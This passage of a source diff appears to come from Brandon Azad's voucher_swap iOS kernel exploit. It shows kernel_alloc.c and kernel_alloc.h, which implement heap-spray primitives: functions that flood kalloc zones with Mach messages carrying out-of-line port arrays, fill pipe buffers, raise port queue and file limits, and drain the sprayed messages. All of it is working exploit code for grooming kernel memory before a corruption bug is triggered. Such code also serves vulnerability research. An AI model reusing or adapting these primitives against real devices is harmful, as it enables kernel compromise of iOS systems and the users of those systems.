size_t message_size, size_t message_count) {
|
||||
// Calculate the size of each component.
|
||||
struct ool_ports_msg *msg;
|
||||
// Sanity checks.
|
||||
assert(sizeof(*msg) + ool_count * sizeof(msg->ool_ports[0]) <= message_size);
|
||||
assert(port_count * ool_count <= max_ool_ports_per_message);
|
||||
assert(message_count <= MACH_PORT_QLIMIT_MAX);
|
||||
// Allocate a message containing the required number of OOL ports descriptors.
|
||||
msg = calloc(1, message_size);
|
||||
assert(msg != NULL);
|
||||
// Trace the kalloc allocations we're about to perform.
|
||||
DEBUG_TRACE(2, "%s: %zu * kalloc(%zu) + %zu * kalloc(%zu)", __func__,
|
||||
ool_count * message_count, port_count * sizeof(uint64_t),
|
||||
message_count, kalloc_size_for_message_size(message_size));
|
||||
// If the user didn't supply any ool_ports, create our own.
|
||||
mach_port_t *alloc_ports = NULL;
|
||||
if (ool_ports == NULL) {
|
||||
alloc_ports = calloc(port_count, sizeof(mach_port_t));
|
||||
assert(alloc_ports != NULL);
|
||||
ool_ports = alloc_ports;
|
||||
}
|
||||
// Populate the message. Each OOL ports descriptor will be a kalloc.
|
||||
msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg->header.msgh_remote_port = holding_port;
|
||||
msg->header.msgh_size = (mach_msg_size_t) message_size;
|
||||
msg->header.msgh_id = 'ools';
|
||||
msg->body.msgh_descriptor_count = (mach_msg_size_t) ool_count;
|
||||
mach_msg_ool_ports_descriptor_t ool_descriptor = {};
|
||||
ool_descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
ool_descriptor.address = (void *) ool_ports;
|
||||
ool_descriptor.count = (mach_msg_size_t) port_count;
|
||||
ool_descriptor.deallocate = FALSE;
|
||||
ool_descriptor.copy = MACH_MSG_PHYSICAL_COPY;
|
||||
ool_descriptor.disposition = ool_disposition;
|
||||
for (size_t i = 0; i < ool_count; i++) {
|
||||
msg->ool_ports[i] = ool_descriptor;
|
||||
}
|
||||
// Send the messages.
|
||||
size_t messages_sent = 0;
|
||||
for (; messages_sent < message_count; messages_sent++) {
|
||||
kern_return_t kr = mach_msg(
|
||||
&msg->header,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
(mach_msg_size_t) message_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
|
||||
break;
|
||||
}
|
||||
}
|
||||
// Clean up the allocated ports.
|
||||
SafeFreeNULL(alloc_ports);
|
||||
// Return the number of messages we sent.
|
||||
return messages_sent;
|
||||
}
|
||||
|
||||
/*
|
||||
* kalloc_spray_compute_message_shape
|
||||
*
|
||||
* Description:
|
||||
* Compute the shape of a message to maximally spray the specified kalloc zone. This spray is
|
||||
* good for consuming memory, not for overwriting memory with specific contents.
|
||||
*/
|
||||
static void
|
||||
kalloc_spray_compute_message_shape(size_t kalloc_min, size_t kalloc_zone,
|
||||
size_t *message_size, size_t *ools_per_message, size_t *ports_per_ool) {
|
||||
assert(kmsg_zone_size < kalloc_min);
|
||||
assert(kalloc_min <= kalloc_zone);
|
||||
// We always want to maximize the number of OOL port kalloc allocations per message, so let
|
||||
// the message take up the a full zone element if needed.
|
||||
size_t max_message_size = message_size_for_kalloc_size(kalloc_zone);
|
||||
// Since we can send a maximum of max_ool_ports_per_message OOL ports in a single message,
|
||||
// we always want to send the minimum number of OOL ports in each descriptor (since adding
|
||||
// more ports in a descriptor only counts against the limit without increasing the number
|
||||
// of allocations). Thus, use the smallest number of ports that gets us at least
|
||||
// kalloc_min.
|
||||
size_t ports_per_ool_ = (kalloc_min + sizeof(uint64_t) - 1) / sizeof(uint64_t);
|
||||
// How many OOL ports descriptors can we send per message? As many as we'd like, as long
|
||||
// as:
|
||||
// 1. we have space for them in the message, and
|
||||
// 2. we don't blow through the max_ool_ports_per_message limit.
|
||||
size_t max_ools_by_message_size =
|
||||
(max_message_size - sizeof(mach_msg_base_t))
|
||||
/ sizeof(mach_msg_ool_ports_descriptor_t);
|
||||
size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool_;
|
||||
size_t ools_per_message_ = min(max_ools_by_message_size, max_ools_by_port_limit);
|
||||
// Now that we know how many OOL ports descriptors we can send per message, let's calculate
|
||||
// the message size. If the message size is too small, we'll just round it up.
|
||||
size_t message_size_ = sizeof(mach_msg_base_t)
|
||||
+ ools_per_message_ * sizeof(mach_msg_ool_ports_descriptor_t);
|
||||
assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
|
||||
if (kalloc_size_for_message_size(message_size_) < kalloc_min) {
|
||||
size_t kalloc_min_rounded = (kalloc_min + 15) & ~15;
|
||||
message_size_ = (message_size_for_kalloc_size(kalloc_min_rounded) + 3) & ~3;
|
||||
}
|
||||
assert(kalloc_min <= kalloc_size_for_message_size(message_size_));
|
||||
assert(kalloc_size_for_message_size(message_size_) <= kalloc_zone);
|
||||
// Return the values.
|
||||
*message_size = message_size_;
|
||||
*ools_per_message = ools_per_message_;
|
||||
*ports_per_ool = ports_per_ool_;
|
||||
}
|
||||
|
||||
size_t
|
||||
kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
|
||||
size_t kalloc_count) {
|
||||
// First compute the message shape for spraying the specified zone.
|
||||
size_t message_size, ools_per_message, ports_per_ool;
|
||||
kalloc_spray_compute_message_shape(min_kalloc_size, kalloc_zone,
|
||||
&message_size, &ools_per_message, &ports_per_ool);
|
||||
assert(min_kalloc_size <= kalloc_size_for_message_size(message_size));
|
||||
assert(kalloc_size_for_message_size(message_size) <= kalloc_zone);
|
||||
assert(min_kalloc_size <= ports_per_ool * sizeof(uint64_t));
|
||||
assert(ports_per_ool * sizeof(uint64_t) <= kalloc_zone);
|
||||
assert(sizeof(mach_msg_base_t) + ools_per_message * sizeof(mach_msg_ool_ports_descriptor_t) <= message_size);
|
||||
// How many allocations does each message we send give us? Well, there's 1 allocation for
|
||||
// the message and 1 allocation for each OOL ports descriptor.
|
||||
size_t kallocs_per_message = 1 + ools_per_message;
|
||||
// How many full/partial messages will we need to spray kalloc_count allocations? If the
|
||||
// number of full messages is greater than the queue limit, truncate to that many messages.
|
||||
size_t full_message_count = kalloc_count / kallocs_per_message;
|
||||
size_t partial_message_kalloc_count = kalloc_count % kallocs_per_message;
|
||||
if (full_message_count >= MACH_PORT_QLIMIT_MAX) {
|
||||
full_message_count = MACH_PORT_QLIMIT_MAX;
|
||||
partial_message_kalloc_count = 0;
|
||||
}
|
||||
// Alright, so now we have all the parameters we need. Spray all the full messages to the
|
||||
// port.
|
||||
DEBUG_TRACE(2, "%s: %zu full messages, %zu descriptors per message, "
|
||||
"%zu ports per descriptor, %zu kallocs (%zu bytes) per message",
|
||||
__func__, full_message_count, ools_per_message, ports_per_ool,
|
||||
kallocs_per_message, kallocs_per_message * kalloc_zone);
|
||||
size_t full_messages_sent = ool_ports_spray_port(
|
||||
holding_port,
|
||||
NULL,
|
||||
ports_per_ool,
|
||||
MACH_MSG_TYPE_MAKE_SEND,
|
||||
ools_per_message,
|
||||
message_size,
|
||||
full_message_count);
|
||||
size_t full_messages_kallocs = full_messages_sent * kallocs_per_message;
|
||||
// If we sent all the full messages (indicating no errors were encountered) and we also
|
||||
// want to send a partial message, send that.
|
||||
size_t partial_message_kallocs = 0;
|
||||
if (full_messages_sent == full_message_count && partial_message_kalloc_count > 0) {
|
||||
size_t partial_message_ools = partial_message_kalloc_count - 1;
|
||||
size_t partial_messages_sent = ool_ports_spray_port(
|
||||
holding_port,
|
||||
NULL,
|
||||
ports_per_ool,
|
||||
MACH_MSG_TYPE_MAKE_SEND,
|
||||
partial_message_ools,
|
||||
message_size,
|
||||
1);
|
||||
partial_message_kallocs = partial_messages_sent * partial_message_kalloc_count;
|
||||
}
|
||||
// Finally, return the total number of kallocs stashed in our port.
|
||||
assert(full_messages_kallocs + partial_message_kallocs <= kalloc_count);
|
||||
return full_messages_kallocs + partial_message_kallocs;
|
||||
}
|
||||
|
||||
size_t
|
||||
kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
|
||||
size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size) {
|
||||
size_t kallocs_needed = (spray_size + kalloc_zone - 1) / kalloc_zone;
|
||||
size_t count = *port_count;
|
||||
// Spray to each of the ports in turn.
|
||||
size_t kallocs_left = kallocs_needed;
|
||||
size_t ports_used = 0;
|
||||
for (; ports_used < count && kallocs_left > 0; ports_used++) {
|
||||
size_t kallocs_done = kalloc_spray_port(holding_ports[ports_used],
|
||||
min_kalloc_size, kalloc_zone, kallocs_left);
|
||||
assert(kallocs_done <= kallocs_left);
|
||||
kallocs_left -= kallocs_done;
|
||||
}
|
||||
// Compute how many kallocs were actually performed.
|
||||
size_t kallocs_done = kallocs_needed - kallocs_left;
|
||||
if (kallocs_left > 0) {
|
||||
WARNING("failed to spray %zu * kalloc(%zu)", kallocs_left, kalloc_zone);
|
||||
}
|
||||
// Return the number of ports actually used and the number of bytes actually sprayed.
|
||||
*port_count = ports_used;
|
||||
return kallocs_done * kalloc_zone;
|
||||
}
|
||||
|
||||
mach_port_t *
|
||||
create_ports(size_t count) {
|
||||
mach_port_t *ports = calloc(count, sizeof(*ports));
|
||||
assert(ports != NULL);
|
||||
mach_port_options_t options = {};
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
kern_return_t kr = mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
}
|
||||
return ports;
|
||||
}
|
||||
|
||||
void
|
||||
destroy_ports(mach_port_t *ports, size_t count) {
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
mach_port_t port = ports[i];
|
||||
if (MACH_PORT_VALID(port)) {
|
||||
kern_return_t kr = mach_port_destroy(mach_task_self(), port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
ERROR("%s returned %d: %s", "mach_port_destroy",
|
||||
kr, mach_error_string(kr));
|
||||
}
|
||||
}
|
||||
ports[i] = MACH_PORT_DEAD;
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
deallocate_ports(mach_port_t *ports, size_t count) {
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
mach_port_t port = ports[i];
|
||||
if (MACH_PORT_VALID(port)) {
|
||||
kern_return_t kr = mach_port_deallocate(mach_task_self(), port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
ERROR("%s returned %d: %s", "mach_port_deallocate",
|
||||
kr, mach_error_string(kr));
|
||||
}
|
||||
}
|
||||
ports[i] = MACH_PORT_DEAD;
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
port_increase_queue_limit(mach_port_t port) {
|
||||
mach_port_limits_t limits = { .mpl_qlimit = MACH_PORT_QLIMIT_MAX };
|
||||
kern_return_t kr = mach_port_set_attributes(
|
||||
mach_task_self(),
|
||||
port,
|
||||
MACH_PORT_LIMITS_INFO,
|
||||
(mach_port_info_t) &limits,
|
||||
MACH_PORT_LIMITS_INFO_COUNT);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
}
|
||||
|
||||
void
|
||||
port_insert_send_right(mach_port_t port) {
|
||||
kern_return_t kr = mach_port_insert_right(mach_task_self(), port, port,
|
||||
MACH_MSG_TYPE_MAKE_SEND);
|
||||
assert(kr == KERN_SUCCESS);
|
||||
}
|
||||
|
||||
/*
|
||||
* ool_ports_spray_size_with_gc_compute_parameters
|
||||
*
|
||||
* Description:
|
||||
* Compute the spray parameters for ool_ports_spray_size_with_gc().
|
||||
*/
|
||||
static void
|
||||
ool_ports_spray_size_with_gc_compute_parameters(
|
||||
size_t ports_per_ool, size_t message_size, size_t spray_size,
|
||||
size_t *ool_size, size_t *ools_per_message, size_t *ools_needed) {
|
||||
// Each message will contain no more than gc_step bytes of OOL ports.
|
||||
const size_t max_ool_memory_per_message = gc_step;
|
||||
// How many OOL ports descriptors can we send per message? As many as we'd like, as long
|
||||
// as:
|
||||
// 1. we aren't sending more than gc_step bytes of OOL ports in a message,
|
||||
// 2. we have space for them in the message, and
|
||||
// 3. we don't blow through the max_ool_ports_per_message limit.
|
||||
size_t ool_size_ = ports_per_ool * sizeof(uint64_t);
|
||||
size_t max_ools_by_memory = max_ool_memory_per_message / ool_size_;
|
||||
size_t max_ools_by_message_size =
|
||||
(message_size - sizeof(mach_msg_base_t))
|
||||
/ sizeof(mach_msg_ool_ports_descriptor_t);
|
||||
size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool;
|
||||
size_t ools_per_message_ = min(max_ools_by_memory,
|
||||
min(max_ools_by_message_size, max_ools_by_port_limit));
|
||||
// How many OOL port descriptors will we need to spray? Enough to fill all the requested
|
||||
// memory.
|
||||
size_t ools_needed_ = (spray_size + ool_size_ - 1) / ool_size_;
|
||||
// Return the parameters.
|
||||
*ool_size = ool_size_;
|
||||
*ools_per_message = ools_per_message_;
|
||||
*ools_needed = ools_needed_;
|
||||
}
|
||||
|
||||
size_t
|
||||
ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
|
||||
size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
|
||||
mach_msg_type_name_t ool_disposition, size_t spray_size) {
|
||||
// Compute the parameters for the spray.
|
||||
size_t ool_size, ools_per_message, ools_needed;
|
||||
ool_ports_spray_size_with_gc_compute_parameters(ool_port_count, message_size, spray_size,
|
||||
&ool_size, &ools_per_message, &ools_needed);
|
||||
// Spray to each of the ports in turn until we've created the requisite number of OOL ports
|
||||
// allocations.
|
||||
ssize_t ools_left = ools_needed;
|
||||
size_t sprayed = 0;
|
||||
size_t next_gc_step = 0;
|
||||
size_t port_count = *holding_port_count;
|
||||
size_t ports_used = 0;
|
||||
for (; ports_used < port_count && ools_left > 0; ports_used++) {
|
||||
// Spray this port one message at a time until we've maxed out its queue.
|
||||
size_t messages_sent = 0;
|
||||
for (; messages_sent < (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_12_0 ? MACH_PORT_QLIMIT_MAX : MACH_PORT_QLIMIT_DEFAULT) && ools_left > 0; messages_sent++) {
|
||||
// If we've crossed the GC sleep boundary, sleep for a bit and schedule the
|
||||
// next one.
|
||||
if (sprayed >= next_gc_step) {
|
||||
next_gc_step += gc_step;
|
||||
pthread_yield_np();
|
||||
usleep(10000);
|
||||
fprintf(stderr, ".");
|
||||
}
|
||||
// Send a message.
|
||||
size_t sent = ool_ports_spray_port(
|
||||
holding_ports[ports_used],
|
||||
ool_ports,
|
||||
ool_port_count,
|
||||
ool_disposition,
|
||||
ools_per_message,
|
||||
message_size,
|
||||
1);
|
||||
// If we couldn't send a message to this port, stop trying to send more
|
||||
// messages and move on to the next port.
|
||||
if (sent != 1) {
|
||||
assert(sent == 0);
|
||||
break;
|
||||
}
|
||||
// We sent a full message worth of OOL port descriptors.
|
||||
sprayed += ools_per_message * ool_size;
|
||||
ools_left -= ools_per_message;
|
||||
}
|
||||
}
|
||||
fprintf(stderr, "\n");
|
||||
// Return the number of ports actually used and the number of bytes actually sprayed.
|
||||
*holding_port_count = ports_used;
|
||||
return sprayed;
|
||||
}
|
||||
|
||||
void
|
||||
port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)) {
|
||||
kern_return_t kr;
|
||||
mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TIMEOUT
|
||||
| MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0)
|
||||
| MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_NULL);
|
||||
// Allocate an initial message buffer.
|
||||
mach_msg_size_t msg_size = 0x4000;
|
||||
mach_msg_base_t *msg = malloc(msg_size);
|
||||
assert(msg != NULL);
|
||||
// Loop through all the messages queued on the port.
|
||||
for (;;) {
|
||||
// Try to receive the message. If the buffer isn't big enough, reallocate
|
||||
// and try again. This should only happen twice.
|
||||
for (size_t try = 0;; try++) {
|
||||
assert(try < 2);
|
||||
// Receive the message.
|
||||
kr = mach_msg(
|
||||
&msg->header,
|
||||
options,
|
||||
0,
|
||||
msg_size,
|
||||
port,
|
||||
0,
|
||||
MACH_PORT_NULL);
|
||||
if (kr != MACH_RCV_LARGE) {
|
||||
break;
|
||||
}
|
||||
// The buffer was too small, increase it.
|
||||
msg_size = msg->header.msgh_size + REQUESTED_TRAILER_SIZE(options);
|
||||
SafeFreeNULL(msg);
|
||||
msg = malloc(msg_size);
|
||||
assert(msg != NULL);
|
||||
}
|
||||
// If we got an error, stop processing messages on this port. If the error is a
|
||||
// timeout, that means that we've exhausted the queue, so don't print an error
|
||||
// message.
|
||||
if (kr != KERN_SUCCESS) {
|
||||
if (kr != MACH_RCV_TIMED_OUT) {
|
||||
ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
|
||||
}
|
||||
break;
|
||||
}
|
||||
// Pass the message to the message handler.
|
||||
message_handler(&msg->header);
|
||||
}
|
||||
// Clean up resources.
|
||||
SafeFreeNULL(msg);
|
||||
}
|
||||
|
||||
void
|
||||
port_discard_messages(mach_port_t port) {
|
||||
port_drain_messages(port, ^(mach_msg_header_t *header) {
|
||||
mach_msg_destroy(header);
|
||||
});
|
||||
}
|
||||
|
||||
void
|
||||
ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
|
||||
void (^ool_ports_handler)(mach_port_t *, size_t)) {
|
||||
// Loop through all the ports.
|
||||
for (size_t port_index = 0; port_index < holding_port_count; port_index++) {
|
||||
// Handle each message on the port.
|
||||
port_drain_messages(holding_ports[port_index], ^(mach_msg_header_t *msg0) {
|
||||
struct ool_ports_msg *msg = (struct ool_ports_msg *)msg0;
|
||||
// We've successfully received a message. Make sure it's the type we
|
||||
// expect.
|
||||
if (msg->header.msgh_id != 'ools') {
|
||||
WARNING("received unexpected message id 0x%x",
|
||||
msg->header.msgh_id);
|
||||
goto done;
|
||||
}
|
||||
if (!MACH_MSGH_BITS_IS_COMPLEX(msg->header.msgh_bits)) {
|
||||
WARNING("skipping non-complex message");
|
||||
goto done;
|
||||
}
|
||||
// Go through the descriptors one at a time passing them to the handler
|
||||
// block.
|
||||
mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)&msg->ool_ports[0];
|
||||
for (size_t i = 0; i < msg->body.msgh_descriptor_count; i++) {
|
||||
void *next;
|
||||
switch (d->type.type) {
|
||||
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
|
||||
next = &d->ool_ports + 1;
|
||||
mach_port_t *ports = (mach_port_t *)
|
||||
d->ool_ports.address;
|
||||
size_t count = d->ool_ports.count;
|
||||
ool_ports_handler(ports, count);
|
||||
break;
|
||||
default:
|
||||
WARNING("unexpected descriptor type %u",
|
||||
d->type.type);
|
||||
goto done;
|
||||
}
|
||||
d = (mach_msg_descriptor_t *)next;
|
||||
}
|
||||
done:
|
||||
// Discard the message.
|
||||
mach_msg_destroy(&msg->header);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
increase_file_limit() {
|
||||
struct rlimit rl = {};
|
||||
int error = getrlimit(RLIMIT_NOFILE, &rl);
|
||||
assert(error == 0);
|
||||
rl.rlim_cur = 10240;
|
||||
rl.rlim_max = rl.rlim_cur;
|
||||
error = setrlimit(RLIMIT_NOFILE, &rl);
|
||||
if (error != 0) {
|
||||
ERROR("could not increase file limit");
|
||||
}
|
||||
error = getrlimit(RLIMIT_NOFILE, &rl);
|
||||
assert(error == 0);
|
||||
if (rl.rlim_cur != 10240) {
|
||||
ERROR("file limit is %llu", rl.rlim_cur);
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
pipe_close(int pipefds[2]) {
|
||||
close(pipefds[0]);
|
||||
close(pipefds[1]);
|
||||
}
|
||||
|
||||
/*
|
||||
* set_nonblock
|
||||
*
|
||||
* Description:
|
||||
* Set the O_NONBLOCK flag on the specified file descriptor.
|
||||
*/
|
||||
static void
|
||||
set_nonblock(int fd) {
|
||||
int flags = fcntl(fd, F_GETFL);
|
||||
flags |= O_NONBLOCK;
|
||||
fcntl(fd, F_SETFL, flags);
|
||||
}
|
||||
|
||||
int *
|
||||
create_pipes(size_t *pipe_count) {
|
||||
// Allocate our initial array.
|
||||
size_t capacity = *pipe_count;
|
||||
int *pipefds = calloc(2 * capacity, sizeof(int));
|
||||
assert(pipefds != NULL);
|
||||
// Create as many pipes as we can.
|
||||
size_t count = 0;
|
||||
for (; count < capacity; count++) {
|
||||
// First create our pipe fds.
|
||||
int fds[2] = { -1, -1 };
|
||||
int error = pipe(fds);
|
||||
// Unfortunately pipe() seems to return success with invalid fds once we've
|
||||
// exhausted the file limit. Check for this.
|
||||
if (error != 0 || fds[0] < 0 || fds[1] < 0) {
|
||||
pipe_close(fds);
|
||||
break;
|
||||
}
|
||||
// Mark the write-end as nonblocking.
|
||||
set_nonblock(fds[1]);
|
||||
// Store the fds.
|
||||
pipefds[2 * count + 0] = fds[0];
|
||||
pipefds[2 * count + 1] = fds[1];
|
||||
}
|
||||
// Truncate the array to the smaller size.
|
||||
int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));
|
||||
assert(new_pipefds != NULL);
|
||||
// Return the count and the array.
|
||||
*pipe_count = count;
|
||||
return new_pipefds;
|
||||
}
|
||||
|
||||
void
|
||||
close_pipes(int *pipefds, size_t pipe_count) {
|
||||
for (size_t i = 0; i < pipe_count; i++) {
|
||||
pipe_close(pipefds + 2 * i);
|
||||
}
|
||||
}
|
||||
|
||||
size_t
|
||||
pipe_spray(const int *pipefds, size_t pipe_count,
|
||||
void *pipe_buffer, size_t pipe_buffer_size,
|
||||
void (^update)(uint32_t pipe_index, void *data, size_t size)) {
|
||||
assert(pipe_count <= 0xffffff);
|
||||
assert(pipe_buffer_size > 512);
|
||||
size_t write_size = pipe_buffer_size - 1;
|
||||
size_t pipes_filled = 0;
|
||||
for (size_t i = 0; i < pipe_count; i++) {
|
||||
// Update the buffer.
|
||||
if (update != NULL) {
|
||||
update((uint32_t)i, pipe_buffer, pipe_buffer_size);
|
||||
}
|
||||
// Fill the write-end of the pipe with the buffer. Leave off the last byte.
|
||||
int wfd = pipefds[2 * i + 1];
|
||||
ssize_t written = write(wfd, pipe_buffer, write_size);
|
||||
if (written != write_size) {
|
||||
// This is most likely because we've run out of pipe buffer memory. None of
|
||||
// the subsequent writes will work either.
|
||||
break;
|
||||
}
|
||||
pipes_filled++;
|
||||
}
|
||||
return pipes_filled;
|
||||
}
|
||||
@@ -0,0 +1,291 @@
|
||||
/*
|
||||
* kernel_alloc.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_ALLOC_H_
|
||||
#define VOUCHER_SWAP__KERNEL_ALLOC_H_
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stddef.h>
|
||||
|
||||
/*
|
||||
* message_size_for_kalloc_size
|
||||
*
|
||||
* Description:
|
||||
* Return the Mach message size needed for the ipc_kmsg to be allocated from the specified
|
||||
* kalloc zone. This is exactly correct when kalloc_size is a multiple of 16, otherwise it
|
||||
* could be slightly small.
|
||||
*/
|
||||
size_t message_size_for_kalloc_size(size_t kalloc_size);
|
||||
|
||||
/*
|
||||
* kalloc_size_for_message_size
|
||||
*
|
||||
* Description:
|
||||
* Return the kalloc allocation size corresponding to sending a message of the specified size.
|
||||
*
|
||||
* This is only correct for messages large enough that the ipc_kmsg struct is allocated with
|
||||
* kalloc().
|
||||
*/
|
||||
size_t kalloc_size_for_message_size(size_t message_size);
|
||||
|
||||
/*
|
||||
* ipc_kmsg_size_for_message_size
|
||||
*
|
||||
* Description:
|
||||
* Return the allocation size of the ipc_kmsg for the given message size.
|
||||
*/
|
||||
size_t ipc_kmsg_size_for_message_size(size_t message_size);
|
||||
|
||||
/*
|
||||
* ool_ports_spray_port
|
||||
*
|
||||
* Description:
|
||||
* Spray the given Mach port with Mach messages that contain out-of-line ports descriptors
|
||||
* with the given ports. The goal is to spray the target kalloc zone with many copies of a
|
||||
* particular array of OOL ports.
|
||||
*
|
||||
* Make sure that the port's queue limits are sufficient to hold the specified number of
|
||||
* messages.
|
||||
*
|
||||
* Unfortunately, we cannot avoid the creation of ipc_kmsg objects to hold the messages
|
||||
* enqueued on the port. You should ensure that the appropriate kalloc zone's freelist has
|
||||
* sufficiently many intermediates to ensure that ipc_kmsg allocation does not interfere with
|
||||
* the OOL ports spray.
|
||||
*
|
||||
* There are limits on the number of OOL ports that can be sent in a message, the number of
|
||||
* descriptors in a message, and the number of messages that can be queued on a port. Be sure
|
||||
* that the parameters you supply are valid, since this function does not check whether or not
|
||||
* the kernel will let your message through (or even whether they make sense).
|
||||
*
|
||||
* Parameters:
|
||||
* holding_port The port on which to enqueue the Mach messages.
|
||||
* ool_ports The OOL Mach ports to spray.
|
||||
* port_count The number of OOL Mach ports.
|
||||
* ool_disposition The disposition to send the OOL ports.
|
||||
* ool_count The number of OOL ports descriptors to send per message.
|
||||
* message_size The size of each message.
|
||||
* message_count The number of messages to enqueue on the holding port.
|
||||
*
|
||||
* Returns:
|
||||
* Returns the number of messages that were successfully sent.
|
||||
*/
|
||||
size_t ool_ports_spray_port(mach_port_t holding_port,
|
||||
const mach_port_t *ool_ports, size_t port_count,
|
||||
mach_msg_type_name_t ool_disposition, size_t ool_count,
|
||||
size_t message_size, size_t message_count);
|
||||
|
||||
/*
|
||||
* kalloc_spray_port
|
||||
*
|
||||
* Description:
|
||||
* Spray the specified kalloc_zone with at least kalloc_count allocations by sending Mach
|
||||
* messages containing OOL ports to the specified holding port. Returns the number of kalloc
|
||||
* allocations that were actually performed.
|
||||
*
|
||||
* The point of this function is to quickly make as many kalloc allocations in the target zone
|
||||
* as possible using the specified holding port. The way we do this is by sending messages
|
||||
* with many OOL ports descriptors (consisting of empty ports) such that both the ipc_kmsg
|
||||
* struct for the message and the OOL port arrays fall into the target kalloc zone. We will
|
||||
* continue sending messages to the port until either we've created the required number of
|
||||
* allocations or we've filled up the port's message queue.
|
||||
*
|
||||
* To free the allocations, call mach_port_destroy() on the holding port. Note that this will
|
||||
* also free the holding port if there are no other references.
|
||||
*
|
||||
* Parameters:
|
||||
* holding_port The port on which to enqueue the Mach messages.
|
||||
* min_kalloc_size The minimum sized allocation that is handled by this zone.
|
||||
* kalloc_zone The kalloc zone in which to spray allocations.
|
||||
* kalloc_count The desired number of allocations to make.
|
||||
*
|
||||
* Returns:
|
||||
* Returns the number of kalloc allocations actually made, which may be less than the number
|
||||
* requested if the port fills up or if an error is encountered.
|
||||
*/
|
||||
size_t kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
|
||||
size_t kalloc_count);
|
||||
|
||||
/*
|
||||
* kalloc_spray_size
|
||||
*
|
||||
* Description:
|
||||
* Spray the specified kalloc_zone with spray_size bytes of allocations by sending Mach
|
||||
* messages containing OOL ports to the given holding ports.
|
||||
*
|
||||
* See kalloc_spray_port().
|
||||
*
|
||||
* To free the allocations, call destroy_ports() on the holding ports. Note that
|
||||
* destroy_ports() will also free the holding ports themselves if there are no other
|
||||
* references.
|
||||
*
|
||||
* Parameters:
|
||||
* holding_ports The array of holding ports.
|
||||
* port_count inout On entry, the number of holding ports available. On exit,
|
||||
* the number of holding ports used.
|
||||
* min_kalloc_size The minimum sized allocation that is handled by this zone.
|
||||
* kalloc_zone The kalloc zone in which to spray allocations.
|
||||
* spray_size The number of bytes to try and spray to the target zone.
|
||||
*
|
||||
* Returns:
|
||||
* Returns the number of bytes actually sprayed to the kalloc zone. This could be less than
|
||||
* the requested size if an error is encountered or more than the requested size if the spray
|
||||
* size was not an even multiple of the zone size.
|
||||
*/
|
||||
size_t kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
|
||||
size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size);
|
||||
|
||||
/*
|
||||
* ool_ports_spray_size_with_gc
|
||||
*
|
||||
* Description:
|
||||
* Spray spray_size bytes of kernel memory with the specified out-of-line ports.
|
||||
*
|
||||
* Parameters:
|
||||
* holding_ports The array of holding ports.
|
||||
* holding_port_count inout On entry, the number of holding ports available. On exit,
|
||||
* the number of holding ports used.
|
||||
* message_size The size of each message to send. This parameter should be
|
||||
* chosen carefully, as allocations will be taken out of the
|
||||
* corresponding kalloc zone.
|
||||
* ool_ports The OOL Mach ports to spray.
|
||||
* ool_port_count The number of OOL Mach ports.
|
||||
* ool_disposition The disposition to send the OOL ports.
|
||||
* spray_size The number of bytes of OOL ports to try and spray.
|
||||
*
|
||||
* Returns:
|
||||
* Returns the number of bytes of OOL ports actually sprayed.
|
||||
*/
|
||||
size_t ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
|
||||
size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
|
||||
mach_msg_type_name_t ool_disposition, size_t spray_size);
|
||||
|
||||
/*
|
||||
* create_ports
|
||||
*
|
||||
* Description:
|
||||
* Create an array of Mach ports. The Mach ports are receive rights only. Once the array is no
|
||||
* longer needed, deallocate it with SafeFreeNULL().
|
||||
*/
|
||||
mach_port_t *create_ports(size_t count);
|
||||
|
||||
/*
|
||||
* destroy_ports
|
||||
*
|
||||
* Description:
|
||||
* Destroys the specified Mach ports and sets them to MACH_PORT_DEAD.
|
||||
*/
|
||||
void destroy_ports(mach_port_t *ports, size_t count);
|
||||
|
||||
/*
|
||||
* deallocate_ports
|
||||
*
|
||||
* Description:
|
||||
